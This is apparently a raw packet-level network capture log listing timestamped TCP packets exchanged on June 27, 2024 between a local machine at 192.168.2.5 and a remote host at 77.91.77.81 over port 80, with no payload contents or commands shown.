Jun 27, 2024 19:26:07.858076096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858087063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858124971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858131886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858166933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858181000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858200073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858220100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858237982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858243942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858275890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858288050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858310938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858326912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858362913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858365059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858397961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858413935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858448029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858448982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858481884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858495951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858511925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858536005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858546019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858557940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858581066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858592987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858614922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858627081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858663082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858669996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858702898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858719110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858736038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858768940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858771086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858787060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858820915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858822107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858870983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858872890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858906984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858921051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858942032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858958006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.858977079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.858993053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859025955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859030008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859076977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859081030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859112978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859139919 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859146118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859164000 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859179974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859194040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859215021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859230995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859250069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859250069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859287024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859302998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859319925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859337091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859353065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859364986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859388113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859404087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859421015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859438896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859453917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859474897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859488010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859504938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859520912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859539032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859556913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859570980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859594107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859607935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859628916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859635115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859667063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859683037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859699965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859704971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859734058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859755993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859766006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859783888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859800100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859812021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859833956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859848976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859867096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859884977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859900951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859913111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859935045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859954119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.859967947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.859981060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860001087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860014915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860034943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860052109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860069990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860085964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860105038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860120058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860136986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860152960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860172033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860187054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860202074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860224009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860234976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860246897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860270023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860285044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860304117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860317945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860338926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860356092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860373974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.860388994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.860426903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872009039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872039080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872080088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872092962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872113943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872128963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872136116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872164965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872183084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872200012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872209072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872247934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872268915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872303009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872323036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872334957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872347116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872385979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872386932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872420073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872436047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872452974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872467995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872500896 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872502089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872539997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872550964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872574091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872595072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872610092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.872613907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.872661114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885421991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885485888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885518074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885572910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885590076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885611057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885627985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885643005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885652065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885677099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885691881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885725975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885730028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885765076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885780096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885797977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885813951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885833025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885848999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885863066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885881901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885896921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885907888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885932922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885947943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885966063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.885982990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.885999918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.886015892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.886049032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948064089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948216915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948254108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948256969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948291063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948332071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948332071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948348999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948379993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948389053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948405027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948425055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948442936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948461056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948474884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948529005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948561907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948615074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948621035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948668957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948676109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948704958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948724031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948741913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948762894 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948776960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948803902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948811054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948826075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948865891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948873043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948899984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948919058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948951960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.948957920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.948996067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949018002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949031115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949049950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949065924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949079037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949100018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949120045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949136972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949156046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949172020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949193001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949207067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949224949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949240923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949260950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949289083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949292898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949322939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949346066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949358940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949373960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949409008 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949413061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949448109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949466944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949481964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949502945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949517012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949532032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949573040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949573040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949611902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949625015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949647903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949664116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949681997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949702978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949717045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949729919 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949750900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949773073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949785948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949806929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949820042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949841976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949853897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949871063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949891090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949908972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949925900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949951887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949959040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.949980021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.949994087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950011969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950027943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950047016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950062037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950082064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950097084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950112104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950134993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950150013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950169086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950189114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950205088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950218916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950238943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950259924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950274944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950283051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950309992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950329065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950345039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950368881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950377941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950391054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950448990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950450897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950479984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950509071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950531960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950534105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950570107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950588942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950604916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950624943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950639963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950659990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950674057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950695038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950709105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950725079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950740099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950750113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950793028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950793028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950833082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950849056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950869083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950889111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950906992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950922012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950941086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 19:26:07.950958014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 19:26:07.950975895 CEST	80	49706	77.91.77.81	192.168.2.5
